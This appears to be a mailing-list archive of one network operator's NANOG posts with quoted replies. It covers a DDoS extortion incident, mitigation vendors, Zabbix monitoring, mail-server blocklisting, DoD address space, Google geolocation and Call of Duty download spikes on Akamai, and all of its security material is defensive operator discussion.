On Sat., May 22, 2021, 11:20 a.m. Jean St-Laurent via NANOG, mailto:nanog@nanog.org> > wrote:

Some industries can’t afford that extra delay by DDoS mitigation vendors.

 

The video game industry is one of them and there might be others that can’t 
tolerate these extra ms. Telemedicine, video-conference, fintech, etc.

 

As a side note, my former employer in video game was bidding for these vendors 
offering DDoS protection. While bidding, we were hit with abnormal patterns. As 
soon as we chose one vendors those very tricky DDoS patterns stopped.

I am not saying they are working on both side, but still the coincidence was 
interesting. In the end, we never used them because they were not able to 
perfectly block the threat without impacting all the others projects.

 

I think these mitigators are nice to have as a very last resort. I believe what 
is more important for Network Operators is: to be aware of this, to be able to 
detect it, mitigate it and/or minimize the impact. It’s like magic, where did 
that rabbit go?

 

The art of war taught me everything there is to know about DDoS attacks even if 
it was written some 2500 years ago.

 

I suspect that the attack that impacted Baldur’s assets was a very easy DDoS to 
detect and block, but can’t confirm.

 

@Baldur: do you care to share some metrics?

 

Jean

 

From: NANOG mailto:ddostest...@nanog.org> > On Behalf Of Jean St-Laurent via NANOG
Sent: May 21, 2021 10:52 AM
To: 'Lady Benjamin Cannon of Glencoe, ASCE' mailto:l...@6by7.net> >; 'Baldur Norddahl' mailto:baldur.nordd...@gmail.com> >
Cc: 'NANOG Operators' Group' mailto:nanog@nanog.org> >
Subject: RE: DDoS attack with blackmail

 

I also recommend book Art of War from Sun Tzu.

 

All the answers to your questions are in that book.

 

Jean

 

From: NANOG mailto:nanog-bounces+jean=ddostest...@nanog.org> > On Behalf Of Lady Benjamin 
Cannon of Glencoe, ASCE
Sent: May 20, 2021 7:18 PM
To: Baldur Norddahl mailto:baldur.nordd...@gmail.com> >
Cc: NANOG Operators' Group mailto:nanog@nanog.org> >
Subject: Re: DDoS attack with blackmail

 

20 years ago I wrote an automatic teardrop attack.  If your IP spammed us 5 
times, then a script would run, knocking the remote host off the internet 
entirely.

 

Later I modified it to launch 1000 teardrop attacks/second…

 

Today,  contact 

RE: DDoS attack with blackmail

[Jean St-Laurent via NANOG]

Some industries can’t afford that extra delay by DDoS mitigation vendors.

 

The video game industry is one of them and there might be others that can’t 
tolerate these extra ms. Telemedicine, video-conference, fintech, etc.

 

As a side note, my former employer in video game was bidding for these vendors 
offering DDoS protection. While bidding, we were hit with abnormal patterns. As 
soon as we chose one vendors those very tricky DDoS patterns stopped.

I am not saying they are working on both side, but still the coincidence was 
interesting. In the end, we never used them because they were not able to 
perfectly block the threat without impacting all the others projects.

 

I think these mitigators are nice to have as a very last resort. I believe what 
is more important for Network Operators is: to be aware of this, to be able to 
detect it, mitigate it and/or minimize the impact. It’s like magic, where did 
that rabbit go?

 

The art of war taught me everything there is to know about DDoS attacks even if 
it was written some 2500 years ago.

 

I suspect that the attack that impacted Baldur’s assets was a very easy DDoS to 
detect and block, but can’t confirm.

 

@Baldur: do you care to share some metrics?

 

Jean

 

From: NANOG  On Behalf Of Jean 
St-Laurent via NANOG
Sent: May 21, 2021 10:52 AM
To: 'Lady Benjamin Cannon of Glencoe, ASCE' ; 'Baldur Norddahl' 

Cc: 'NANOG Operators' Group' 
Subject: RE: DDoS attack with blackmail

 

I also recommend book Art of War from Sun Tzu.

 

All the answers to your questions are in that book.

 

Jean

 

From: NANOG mailto:nanog-bounces+jean=ddostest...@nanog.org> > On Behalf Of Lady Benjamin 
Cannon of Glencoe, ASCE
Sent: May 20, 2021 7:18 PM
To: Baldur Norddahl mailto:baldur.nordd...@gmail.com> >
Cc: NANOG Operators' Group mailto:nanog@nanog.org> >
Subject: Re: DDoS attack with blackmail

 

20 years ago I wrote an automatic teardrop attack.  If your IP spammed us 5 
times, then a script would run, knocking the remote host off the internet 
entirely.

 

Later I modified it to launch 1000 teardrop attacks/second…

 

Today,  contact the FBI.

 

And get a mitigation service above your borders if you can.

 

 

—L.B.

 

Ms. Lady Benjamin PD Cannon of Glencoe, ASCE

6x7 Networks & 6x7 Telecom, LLC 

CEO 

l...@6by7.net <mailto:l...@6by7.net> 

"The only fully end-to-end encrypted global telecommunications company in the 
world.”

FCC License KJ6FJJ




 

On May 20, 2021, at 12:26 PM, Baldur Norddahl mailto:baldur.nordd...@gmail.com> > wrote:

 

Hello

 

We got attacked by a group that calls themselves "Fancy Lazarus". They want 
payment in BC to not attack us again. The attack was a volume attack to our DNS 
and URL fetch from our webserver.

 

I am interested in any experience in fighting back against these guys.

 

Thanks,

 

Baldur

 

 

RE: DDoS attack with blackmail

[Jean St-Laurent via NANOG]

I also recommend book Art of War from Sun Tzu.

 

All the answers to your questions are in that book.

 

Jean

 

From: NANOG  On Behalf Of Lady 
Benjamin Cannon of Glencoe, ASCE
Sent: May 20, 2021 7:18 PM
To: Baldur Norddahl 
Cc: NANOG Operators' Group 
Subject: Re: DDoS attack with blackmail

 

20 years ago I wrote an automatic teardrop attack.  If your IP spammed us 5 
times, then a script would run, knocking the remote host off the internet 
entirely.

 

Later I modified it to launch 1000 teardrop attacks/second…

 

Today,  contact the FBI.

 

And get a mitigation service above your borders if you can.

 

 

—L.B.

 

Ms. Lady Benjamin PD Cannon of Glencoe, ASCE

6x7 Networks & 6x7 Telecom, LLC 

CEO 

l...@6by7.net  

"The only fully end-to-end encrypted global telecommunications company in the 
world.”

FCC License KJ6FJJ








On May 20, 2021, at 12:26 PM, Baldur Norddahl mailto:baldur.nordd...@gmail.com> > wrote:

 

Hello

 

We got attacked by a group that calls themselves "Fancy Lazarus". They want 
payment in BC to not attack us again. The attack was a volume attack to our DNS 
and URL fetch from our webserver.

 

I am interested in any experience in fighting back against these guys.

 

Thanks,

 

Baldur

 

 

RE: Juniper hardware recommendation

[Jean St-Laurent via NANOG]

Good monitoring softwares allow to do "preprocessing" before storing the 
monitored data in database.

Saku's formula should work well in this case.

I use Zabbix for monitoring big infrastructure. It has many advantages like:

- Push or pull metrics (dmz friendly)
- Can use many proxies (scale well)
- preprocessing of data (fix vendors mess)
- alert based on business logic through templates ( proactive instead of 
reactive)
- open source and have enterprise support (always nice to be able to call 1800 
zabbix in case of emergency)
- agent, agentless, discovery, snmp, java/jmx, telnet, ipmi, web scenarios, etc 
(never face a coirner-case that can't be monitored so far)

Really awesome at infrastructure level.

Jean

-Original Message-
From: NANOG  On Behalf Of Saku Ytti
Sent: May 17, 2021 3:34 AM
To: Sander Steffann 
Cc: Michael Fiumano ; nanog list 
Subject: Re: Juniper hardware recommendation

On Mon, 17 May 2021 at 00:22, Sander Steffann  wrote:

> How do you normalise? Use L2 or L3 octets stats, and use the number of 
> packets to calculate the L2 and/or L1 overhead the stats are missing?
> Or do you have a better way?

That's the way one of my employers did it, and I can't think of a better way.

bytes += PPS*overhead

Overhead is likely 20bytes (preamble, SFD, ifg). But it could also be 24B 
(FCS/CRC might be missing in what otherwise is claimed to be L2).
You may need a lab to confirm what exactly is being counted.

This adjustment could be in DB or it could be render-time, both have pro and 
con.

--
  ++ytti

RE: EMail server gets blocked by Microsoft

[Jean St-Laurent via NANOG]

I just unlocked ddostest.me with this tool for outlook.com, Hotmail.com, 
msn.com and maybe all the O365 suite.

 

It was fix in less than 24 hours.

 

Thanks for the tip

Jean

 

From: NANOG  On Behalf Of Mike Hammett
Sent: April 28, 2021 7:52 AM
To: Michael Fallen 
Cc: nanog@nanog.org
Subject: Re: EMail server gets blocked by Microsoft

 

Neither Microsoft nor Google have been successful at making tools that work for 
low-volume mailers. They seem to think that if you're not in their club, you're 
either a commercial email marketing firm or SPAM.



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  
 
  Midwest Internet Exchange
   
  
 
  The Brothers WISP
   
 

  _  

From: "Michael Fallen" 
To: "Dominque Roux" 
Cc: nanog@nanog.org
Sent: Tuesday, April 27, 2021 9:22:29 AM
Subject: Re: EMail server gets blocked by Microsoft

Microsoft seems to be one of the worst offenders in terms of having a 
email blocking blackbox. Good luck getting in contact with someone as 
well. Throughout the years of self-hosting email they have always been 
the most problematic of the large providers.

--
Mike

Dominque Roux wrote on 2021-04-27 3:35 AM:
> Hi All,
>
> is there anyone out there who has some experience with the blocking
> mechanism of Microsofts mail server? We're running a mail server at our
> company which ends up on their blacklist from time to time and we're
> wondering if there are some steps we could take in order to prevent this.
>
> Cheers,
> Dominique

 

RE: DoD IP Space

[Jean St-Laurent via NANOG]

I’d be interested in an objective recap of this thread.

 

It seems like we could do a Netflix series for networkers about it. 😉

 

Anyone would like to give it a try to summarize the story back from the 80’s  
till today and explain what is at stake here? 

 

Thanks
Jean

 

From: NANOG  On Behalf Of Tom Beecher
Sent: April 26, 2021 9:32 AM
To: Mel Beckman 
Cc: nanog@nanog.org
Subject: Re: DoD IP Space

 

As long as that IP space was isolated to the .mil network, it was private 
space, as far as the Internet was concerned.

 

The DoD allocation of 11/8 predates the concept of 'private network space'.

 

11/8 was first assigned to the DoD in RFC 943 in April of 1985. The concept of 
IPv4 space for private networks was first defined in RFC 1597, March 1994. 
(Which eventually would become RFC1918. )

 

The fact that certain parties decided on their own that space not present in 
the global routing table was 'fair game' or 'private' doesn't make them 
correct, it simply makes them ill informed. 

 

On Sat, Apr 24, 2021 at 7:18 PM Mel Beckman mailto:m...@beckman.org> > wrote:

Bill,

It’s the INTERNET that is civilian, not the IP space. As long as that IP space 
was isolated to the .mil network, it was private space, as far as the Internet 
was concerned. Now DoD has moved it into the civilian Internet, and I treat 
them as potentially malicious as I do any other organization that lies, cheats, 
and steals the public trust.

 -mel

> On Apr 24, 2021, at 3:45 PM, William Herrin   > wrote:
> 
> On Sat, Apr 24, 2021 at 8:26 AM Mel Beckman   > wrote:
>> This doesn’t sound good, no matter how you slice it. The lack of
>> transparency with a civilian resource is troubling at a minimum.
> 
> You do understand that the addresses in question are not and have
> never been "civilian." They came into DoD's possession when this was
> all still a military project funded by what's now DARPA.
> 
> Personally, I think we may have an all time record for the largest
> honeypot ever constructed. I'd love to be a fly on that wall.
> 
> Regards,
> Bill Herrin
> 
> 
> 
> -- 
> William Herrin
> b...@herrin.us  
> https://bill.herrin.us/

RE: DoD IP Space

[Jean St-Laurent via NANOG]

This is true and very interesting, but the opposite is also true. 

They are now reachable from probably nearly anywhere and therefore open for 
business. 😊 

Let's see what will slowly appear in shodan.io and shadowserver.org

Jean

-Original Message-
From: NANOG  On Behalf Of William 
Herrin
Sent: April 24, 2021 6:46 PM
To: Mel Beckman 
Cc: nanog@nanog.org
Subject: Re: DoD IP Space

On Sat, Apr 24, 2021 at 8:26 AM Mel Beckman  wrote:
> This doesn’t sound good, no matter how you slice it. The lack of 
> transparency with a civilian resource is troubling at a minimum.

You do understand that the addresses in question are not and have never been 
"civilian." They came into DoD's possession when this was all still a military 
project funded by what's now DARPA.

Personally, I think we may have an all time record for the largest honeypot 
ever constructed. I'd love to be a fly on that wall.

Regards,
Bill Herrin



--
William Herrin
b...@herrin.us
https://bill.herrin.us/

BGP and The zero window edge

[Jean St-Laurent via NANOG]

Nice article explaining a specific BGP corner case not removing routes when
TCP window reaches 0.

https://blog.benjojo.co.uk/post/bgp-stuck-routes-tcp-zero-window

The proposed solution is a new RFC for BGP with the suggestion to introduce
a new timer.

Fascinating!

Jean St-Laurent /CISSP
ddosTest me security inc
site:  https://ddostest.me 

RE: Google IP Geolocation

[Jean St-Laurent via NANOG]

I was not sure what a TI-99/4a is. I thought it's a new kind of phone.

Lol

You got me!

Jean

-Original Message-
From: NANOG  On Behalf Of Jared Mauch
Sent: April 10, 2021 7:10 PM
To: Laura Smith 
Cc: nanog@nanog.org
Subject: Re: Google IP Geolocation

I've had a similar issue in the past trying to get ready to peer with them. I 
wanted portal access to look at things. I may yet post a geofeed file just 
because. 

(I was also rejected a portal account, didn't escalate to friends at google 
because I know my traffic is under a gig for now). 

- Jared 
 
Ps: Akamai can take geofeed if you have issues

Sent from my TI-99/4a

> On Apr 10, 2021, at 4:57 AM, Laura Smith via NANOG  wrote:
> 
> Yup. I've had this problem with Google for two years now.
> 
> "We're Google. We know better than you. We're not interested in discussion. 
> And no, you can't have access to the ISP portal you silly little person"  
> .. is the summary of my experience.
> 
> And all this is despite my network peering with Google over a major IXP.  
> They *STILL* can't get the right geolocation despite having a direct peering 
> session with us over the exchange !
> 
> Sent with ProtonMail Secure Email.
> 
> ‐‐‐ Original Message ‐‐‐
>> On Monday, 29 March 2021 21:12, Troy Kelly via NANOG  wrote:
>> 
>> We've also been denied access to the ISP portal.
>> 
>> When we replied as to why, we were told to not open another ticket. They 
>> aren't interested in conversation.
>> 
>> Sent from ProtonMail mobile
>> 
>>  Original Message 
>>> On 30 Mar 2021, 6:53 am, Mike Hammett < na...@ics-il.net> wrote:
>>> 
>>> I've had others at Google specifically say that portal should be used for 
>>> that purpose, so maybe they need to make sure right and left hands know 
>>> what the other is doing.
>>> 
>>> -
>>> Mike Hammett
>>> Intelligent Computing Solutions
>>> http://www.ics-il.com
>>> 
>>> Midwest-IX
>>> http://www.midwest-ix.com
>>> 
>>> From: "Josh Luthman" 
>>> To: "Christopher Morrow" 
>>> Cc: nanog@nanog.org
>>> Sent: Monday, March 29, 2021 1:52:48 PM
>>> Subject: Re: Google IP Geolocation
>>> 
>>> https://isp.google.com
>>> 
>>> I signed up for an account there and they said:
>>> 
>>> "Currently, the Google ISP portal is designed for our partners of GGC, PNI 
>>> or IX programs.
>>>  
>>> The access to portal is granted on request only to our partners." 
>>> 
>>> Josh Luthman
>>> 24/7 Help Desk: 937-552-2340
>>> Direct: 937-552-2343
>>> 1100 Wayne St
>>> Suite 1337
>>> Troy, OH 45373
>>> 
 On Mon, Mar 29, 2021 at 2:08 PM Christopher Morrow 
  wrote:
>>> 
 On Mon, Mar 29, 2021 at 1:59 PM Josh Luthman  
 wrote:
 
> Google ISP specifically told me they didn't want to do deal with 
> geolocation on the ISP portal.
 
 unsure who 'google isp' is here, but ... I think if you point at a 
 properly formed geo-location data file it'll get eaten and produce proper 
 results for you.
 you do have to add that in your isp portal:
tri-pipe-thingy -> configuration -> IP geolocation and /register 
 feed/ button on that page.
  
 
> Josh Luthman
> 24/7 Help Desk: 937-552-2340
> Direct: 937-552-2343
> 1100 Wayne St
> Suite 1337
> Troy, OH 45373
> 
> On Sat, Mar 27, 2021 at 3:28 PM Christopher Morrow 
>  wrote:
> 
>> As a note, on the ISP portal there's a place to put a link to your 
>> RFC8805 format geolocation feed...
>> these are scraped out 'regularly' and help keep things oriented better 
>> for folks.
>> 
>> the ietf noc folk use this method to tell google (and other folk who 
>> scrape out our data) where meetings are before the meetings get there:
>>   https://noc.ietf.org/geo/google.csv
>> 
>> -chris
>> volunteer noc persona
>> 
>> On Fri, Mar 26, 2021 at 6:43 PM Michael K. Spears  
>> wrote:
>> 
>>> Awesome, I think I’ve figured out the Google ISP portal signup, 
>>> but it definitely seems semi-complicated in a way, notably 
>>> finding the link…
>>> 
>>>  
>>> 
>>> Thank you,
>>> 
>>> Michael K. Spears
>>> 
>>> 727.656.3347
>>> 
>>>  
>>> 
>>> From: Mike Hammett 
>>> Sent: Friday, March 26, 2021 6:30 PM
>>> To: Michael K. Spears 
>>> Cc: nanog@nanog.org
>>> Subject: Re: Google IP Geolocation
>>> 
>>>  
>>> 
>>> We're working on a video to show people how to sign up for the ISP 
>>> portal and get to that part of the portal once signed up. We'll drop a 
>>> link to it near the Google section of our geolocation page.
>>> 
>>> -
>>> 
>>> Mike Hammett
>>> 
>>> Intelligent Computing Solutions
>>> 
>>> http://www.ics-il.com
>>> 
>>> Midwest-IX
>>> 
>>> http://www.midwest-ix.com
>>> 
>>> From: "Michael K. Spears" 
>>> 
>>> To: nanog@nanog.org
>>> 
>>> Sent: Friday, March 26, 202

RE: wow, lots of akamai

[Jean St-Laurent via NANOG]

They add a cookie.

 

This generate traffic

 

From: NANOG  On Behalf Of Tom Beecher
Sent: April 1, 2021 4:12 PM
To: Matt Erculiani 
Cc: nanog@nanog.org list 
Subject: Re: wow, lots of akamai

 

Does Akamai bear some burden here to make these rollouts less troublesome for 
the ISPs they traverse through the last mile(s)? IMO yes, yes they do. When 
you're doing something new and unprecedented, as Akamai frequently brags about 
on Twitter, like having rapid, bursty growth of traffic, you need to consider 
that just because you can generate it, doesn't mean it can be delivered. 

 

Akamai, and other CDNs, do not **generate** traffic ; they serve the requests 
generated by users.  

 

On Thu, Apr 1, 2021 at 3:54 PM Matt Erculiani mailto:merculi...@gmail.com> > wrote:

Niels,

 

I think to clarify Jean's point, when you buy a 300mbps circuit, you're paying 
for 300mbps of internet access. 

 

That does not mean that a network should (and in this case small-medium ones 
simply can't) build all of their capacity to service a large number of customer 
circuits at line rate at the same time for an extended period, ESPECIALLY to 
the exact same endpoint. It's just not economically reasonable to expect that. 
Remember we're talking about residential service here, not enterprise circuits.

 

Therefore, how do you prevent this spike of [insert large number here] gigabits 
traversing the network at the same time from causing issues? Build more 
network? That sounds easy, but there are plenty of legitimate reasons why ISPs 
can't or don't want to do that, particularly for an event that only occurs once 
per quarter or so.

 

Does Akamai bear some burden here to make these rollouts less troublesome for 
the ISPs they traverse through the last mile(s)? IMO yes, yes they do. When 
you're doing something new and unprecedented, as Akamai frequently brags about 
on Twitter, like having rapid, bursty growth of traffic, you need to consider 
that just because you can generate it, doesn't mean it can be delivered.  
They've gotta be more sophisticated than a bunch of servers with SSD arrays, 
ramdisks, and 100 gig interfaces, so there's no excuse for them here to just 
blindly fill every link they have after sitting idle for weeks/months at a time 
and expect everything to come out alright and nobody to complain about it.

 

On Thu, Apr 1, 2021 at 1:21 PM Niels Bakker mailto:na...@bakker.net> > wrote:

* nanog@nanog.org <mailto:nanog@nanog.org>  (Jean St-Laurent via NANOG) [Thu 01 
Apr 2021, 21:03 CEST]:
>An artificial roll out penalty somehow? Probably not at the ISP 
>level, but more at the game level. Well, ISP could also have some 
>mechanisms to reduce the impact or even Akamai could force a 
>progressive roll out.

It's an online game. You can't play the game with outdated assets. 
You'd not see walls where other players would, for example.

What you're suggesting is the ability of ISPs to market Internet access 
at a certain speed but not have to deliver it based on conditions they 
create.


-- Niels.




 

-- 

Matt Erculiani

ERCUL-ARIN

RE: wow, lots of akamai

[Jean St-Laurent via NANOG]

I find all of these comments interesting and useful even if we don’t all agree 
on what would be the best solution.

 

Maybe it’s just a misunderstanding from the perspective of each parties. Maybe 
there is no solution, but it’s still interesting.

 

So far, everybody seems to have a bit of the solution.

 

In the end, if I search on this mailing list:

 

Wow, spike, huge, akamai, yesterday or a combination of these words… the answer 
is always CoD. 😃


Jean

 

From: NANOG  On Behalf Of Patrick W. 
Gilmore
Sent: April 1, 2021 4:09 PM
To: North American Operators' Group 
Subject: Re: wow, lots of akamai

 

Matt:

 

I am going to disagree with your characterization of how Akamai - and many 
other CDNs - manage things. First, to be blunt, if you really think Akamai 
nodes are “sitting idle for weeks” before CoD comes out with a new game, you 
are clearly confused.

 

More importantly, I know for a fact Akamai has spent ungodly amounts of money & 
resources putting content precisely where the ISPs ask them to put it, deliver 
it over the pipes the ISPs ask them to deliver it, at precisely the capacity 
the ISPs tell them.

 

On the other hand, I agree with your characterization of residential broadband. 
It is ridiculous to expect a neighborhood with 1,000 homes each with 1 Gbps 
links to have a terabit of uplink capacity. But it also should have a lot more 
than 10 Gbps, IMHO. Unfortunately, most neighborhoods I have seen are closer to 
the latter than the former.

 

Finally, this could quickly devolve into finger pointing. You say the CDNs bear 
some responsibility? They may well respond that the large broadband providers 
ask for cash to interconnect - but still require the CDNs to do all the work. 
The CDNs did not create the content, or tell the users which content to pull. 
When I pay $NATIONAL_PROVIDER, I expect them to provide me with access to the 
Internet. Not just to the content that pays that provider.

 

Personally, I have zero problems with the ISPs saying “give me a cache to put 
here with this sized uplink” or “please deliver to these users over this xconn 
/ IX / whatever”. I have a huge problem with the ISPs blaming the ISPs for 
delivering what the ISP’s users request.

 

Of course, this could all be solved if there were more competition in broadband 
in the US (and many other countries). But that is a totally different 10,000 
post thread (that we have had many dozens of times).

 

-- 
TTFN,
patrick 





On Apr 1, 2021, at 3:53 PM, Matt Erculiani mailto:merculi...@gmail.com> > wrote:

 

Niels,

 

I think to clarify Jean's point, when you buy a 300mbps circuit, you're paying 
for 300mbps of internet access. 

 

That does not mean that a network should (and in this case small-medium ones 
simply can't) build all of their capacity to service a large number of customer 
circuits at line rate at the same time for an extended period, ESPECIALLY to 
the exact same endpoint. It's just not economically reasonable to expect that. 
Remember we're talking about residential service here, not enterprise circuits.

 

Therefore, how do you prevent this spike of [insert large number here] gigabits 
traversing the network at the same time from causing issues? Build more 
network? That sounds easy, but there are plenty of legitimate reasons why ISPs 
can't or don't want to do that, particularly for an event that only occurs once 
per quarter or so.

 

Does Akamai bear some burden here to make these rollouts less troublesome for 
the ISPs they traverse through the last mile(s)? IMO yes, yes they do. When 
you're doing something new and unprecedented, as Akamai frequently brags about 
on Twitter, like having rapid, bursty growth of traffic, you need to consider 
that just because you can generate it, doesn't mean it can be delivered.  
They've gotta be more sophisticated than a bunch of servers with SSD arrays, 
ramdisks, and 100 gig interfaces, so there's no excuse for them here to just 
blindly fill every link they have after sitting idle for weeks/months at a time 
and expect everything to come out alright and nobody to complain about it.

 

On Thu, Apr 1, 2021 at 1:21 PM Niels Bakker mailto:na...@bakker.net> > wrote:

* nanog@nanog.org <mailto:nanog@nanog.org>  (Jean St-Laurent via NANOG) [Thu 01 
Apr 2021, 21:03 CEST]:
>An artificial roll out penalty somehow? Probably not at the ISP 
>level, but more at the game level. Well, ISP could also have some 
>mechanisms to reduce the impact or even Akamai could force a 
>progressive roll out.

It's an online game. You can't play the game with outdated assets. 
You'd not see walls where other players would, for example.

What you're suggesting is the ability of ISPs to market Internet access 
at a certain speed but not have to deliver it based on conditions they 
create.


-- Niels.




 

-- 

Matt Erculiani

ERCUL-ARIN

 

RE: wow, lots of akamai

[Jean St-Laurent via NANOG]

This would be a good compromises for all.

 

Slowly deliver the assets few days/weeks ahead. 

 

Then, on April 1st at this exact same second, you open the gate.

 

@Mike: bull’s eye!

 

Jean

 

From: NANOG  On Behalf Of Mike Hammett
Sent: April 1, 2021 3:31 PM
To: Niels Bakker 
Cc: nanog@nanog.org
Subject: Re: wow, lots of akamai

 

There likely is some amount of time between the product being "done" and the 
activation date. That time could be used (and may very well be for some 
platforms) to distribute the content ahead of when people need it. If too many 
points of congestion arise, the above mentioned time would need to be longer.

 

 

Of course as an IX operator, I encourage everyone (CDNs and eyeballs) to join 
IXes and push them bits at maximum speed!  ;-)

 

 

As an eyeball ISP, sometimes the congestion is in the home, creating a poor 
experience, yet no one above them is to blame.






-
Mike Hammett
Intelligent Computing Solutions
http://www.ics-il.com

Midwest-IX
http://www.midwest-ix.com

 

  _  

From: "Niels Bakker" mailto:niels=na...@bakker.net> >
To: nanog@nanog.org <mailto:nanog@nanog.org> 
Sent: Thursday, April 1, 2021 2:21:24 PM
Subject: Re: wow, lots of akamai

* nanog@nanog.org <mailto:nanog@nanog.org>  (Jean St-Laurent via NANOG) [Thu 01 
Apr 2021, 21:03 CEST]:
>An artificial roll out penalty somehow? Probably not at the ISP 
>level, but more at the game level. Well, ISP could also have some 
>mechanisms to reduce the impact or even Akamai could force a 
>progressive roll out.

It's an online game. You can't play the game with outdated assets. 
You'd not see walls where other players would, for example.

What you're suggesting is the ability of ISPs to market Internet access 
at a certain speed but not have to deliver it based on conditions they 
create.


-- Niels.

 

RE: wow, lots of akamai

[Jean St-Laurent via NANOG]

It’s in fact better, because the one with the new asset can actually play and 
not be totally frozen at loading and/or suffering lag and being kill in action.

 

Progressive rolls out is the key to happiness 

 

From: NANOG  On Behalf Of Mehmet Akcin
Sent: April 1, 2021 3:25 PM
To: nanog@nanog.org
Subject: Re: wow, lots of akamai

 

 

 

On Thu, Apr 1, 2021 at 12:23 Niels Bakker mailto:na...@bakker.net> > wrote:

* nanog@nanog.org <mailto:nanog@nanog.org>  (Jean St-Laurent via NANOG) [Thu 01 
Apr 2021, 21:03 CEST]:
>An artificial roll out penalty somehow? Probably not at the ISP 
>level, but more at the game level. Well, ISP could also have some 
>mechanisms to reduce the impact or even Akamai could force a 
>progressive roll out.

It's an online game. You can't play the game with outdated assets. 
You'd not see walls where other players would, for example.

What you're suggesting is the ability of ISPs to market Internet access 
at a certain speed but not have to deliver it based on conditions they 
create.

 

It’s actually worst. You can’t even login without having latest version to play 
multiplayer.

 



-- Niels.

-- 

Mehmet
+1-424-298-1903

RE: wow, lots of akamai

[Jean St-Laurent via NANOG]

No I didn't suggest that.

-Original Message-
From: NANOG  On Behalf Of Niels
Bakker
Sent: April 1, 2021 3:21 PM
To: nanog@nanog.org
Subject: Re: wow, lots of akamai

* nanog@nanog.org (Jean St-Laurent via NANOG) [Thu 01 Apr 2021, 21:03 CEST]:
>An artificial roll out penalty somehow? Probably not at the ISP level, 
>but more at the game level. Well, ISP could also have some mechanisms 
>to reduce the impact or even Akamai could force a progressive roll out.

It's an online game. You can't play the game with outdated assets. 
You'd not see walls where other players would, for example.

What you're suggesting is the ability of ISPs to market Internet access at a
certain speed but not have to deliver it based on conditions they create.


-- Niels.

RE: wow, lots of akamai

[Jean St-Laurent via NANOG]

I remembered working for a big ISP in Europe offering cable tv + internet with 
+20M subscribers

Every time there was a huge power outage in major cities, all tv`s would go off 
at the same time. I don`t have stats on power grid stability in Europe Vs N/A.

The problem, was when the power was coming back in big cities, all the tv 
subscribers would come back online at the exact same second or minute.
More or less the same 2 or 3 minutes.

What happened is that it would create a kind of internal DDoS and they would 
all timed out and give a weird error message. Something very useful like Error 
Code 0x8098808 Please call our support line at this phone number.

The server sysadmins would go on a panic because all systems were overloaded. 
They often needed to do overtime because DB crashed, key servers there crashed, 
DB here crashed, whatever... there was always something crashing.  This was 
before the cloud when you could just push a slider and have tons of VMs or 
containers to absorb the load in real time. (in my dream)

This would every time create frustration from the clients, the help desk, the 
support teams and also the upper management. Every time the teams were really 
tired after that. It was draining juice.

Anyway, after some years of talking internally (red tape), we finally managed 
to install a random artificial penalty in the setup boxes when they boot after 
a power outage. Nothing like 20 minutes, but just enough to spread the load 
over a longer period of time. For the end user, it went transparent for them 
because, if the setup box would boot in 206 seconds instead of the super 
aggressive 34 seconds, well it booted and they could watch tv. 
Vs 

my system is totally frozen and it`s been like that for 20 minutes with weird 
messages because all your systems are down and the error msg said to call the 
help desk.

This simple change to add 3 lines of code to add a random artificial boot 
penalty of few seconds, completely solve the problem. This way, when a city 
would black out, we wouldn't be self DDoS, because the systems would slowly 
rampup. The setup boxes would all reboot but, wait randomly before asking for 
the DRM package to unlock the cable TV service and validate whether billing is 
right.

I`m no Call of Duty expert nor Akamai, but it's been many times that I observe 
the same question here:

What's happening?
Call of Duty!
Okay.

Would a kind of throttle help here? 

An artificial roll out penalty somehow? Probably not at the ISP level, but more 
at the game level. Well, ISP could also have some mechanisms to reduce the 
impact or even Akamai could force a progressive roll out. 

I`m not sure that the proposed solutions could work, but it seems to impact 
NANOG frequently and/or at least generate a call overnight/weekend. It seems to 
also happens just before long holidays when operations are sometimes on reduce 
personnel.

Are big games roll out really impacting NANOG? or it's more a: Hey I was 
curious what happened and I thought to ask here on NANOG?

#JustCurious

Jean

-Original Message-
From: NANOG  On Behalf Of 
aar...@gvtc.com
Sent: April 1, 2021 12:12 PM
To: 'Jared Mauch' ; 'Töma Gavrichenkov' 

Cc: 'NANOG' 
Subject: RE: wow, lots of akamai

Gaming update... I had a feeling.  Thanks for the feedback folks.

Thanks Jared, it's running well, before, during and after.  We have a lot of 
capacity there.

-Aaron

RE: [EXTERNAL] Re: Retalitory DDoS

[Jean St-Laurent via NANOG]

Good analyze Hugo,

 

I believe that all of this volumetric attack is just noise to hide the real 
attack that really killed your webserver.

 

TCP Flag: SYN: 100%

 

I would start with this line and I agree that Roland’s deck might have 
something about SYN flood.

 

Jean

 

From: Hugo Slabbert  
Sent: February 8, 2021 2:19 PM
To: Compton, Rich A 
Cc: Mike Hammett ; Jean St-Laurent ; NANOG 
list 
Subject: Re: [EXTERNAL] Re: Retalitory DDoS

 

Was gonna come to add that.  That and maybe some UDP frags.

 

You may want to have your hosting provider block all inbound traffic from 
reaching your server IP except TCP port 443 (or 80 or whatever port you 
actually use) somewhere upstream.  

 

Can also consider dropping by UDP source port on that 3072 and other common 
reflection vectors if you've got UDP-based destinations to deal with. 

 

The SYN floods are a different beast; though probably not volumetric, needs 
enough capacity (TCP reverse proxies / LBs / etc) to handle that and possibly 
things like SYN cookies.  I'll let folks more versed than myself answer there, 
though.  Roland probably has a deck ready to link ;)

 

-- 

Hugo Slabbert   | email, xmpp/jabber: h...@slabnet.com 
 

pgp key: B178313E   | also on Signal

 

 

On Mon, Feb 8, 2021 at 10:10 AM Compton, Rich A mailto:rich.comp...@charter.com> > wrote:

FYI, that looks like a Web Services Dynamic Discovery UDP amplification DDoS 
attack.  
https://blogs.akamai.com/sitr/2019/09/new-ddos-vector-observed-in-the-wild-wsd-attacks-hitting-35gbps.html
  Very easily executed by a booter service.

You may want to have your hosting provider block all inbound traffic from 
reaching your server IP except TCP port 443 (or 80 or whatever port you 
actually use) somewhere upstream.  This can help reduce the impact of DDoS 
attacks on your server.  

 

-Rich

 

From: NANOG mailto:charter@nanog.org> > on behalf of Mike Hammett mailto:na...@ics-il.net> >
Date: Monday, February 8, 2021 at 10:58 AM
To: Jean St-Laurent mailto:j...@ddostest.me> >
Cc: NANOG list mailto:nanog@nanog.org> >
Subject: [EXTERNAL] Re: Retalitory DDoS

 

CAUTION: The e-mail below is from an external source. Please exercise caution 
before opening attachments, clicking links, or following guidance. 

I don't have RTBH, no. It's just a web server.

Now how my hosting provider handled it, I'm not sure. I don't know if they just 
dropped me internally, or if they used RTBH with their upstreams and peers. 
Only being 2.5 gigs, that should be well within their ability to handle 
internally, but I guess why would you if you didn't have to?



-
Mike Hammett
  Intelligent Computing Solutions
  
Midwest Internet Exchange

The Brothers WISP



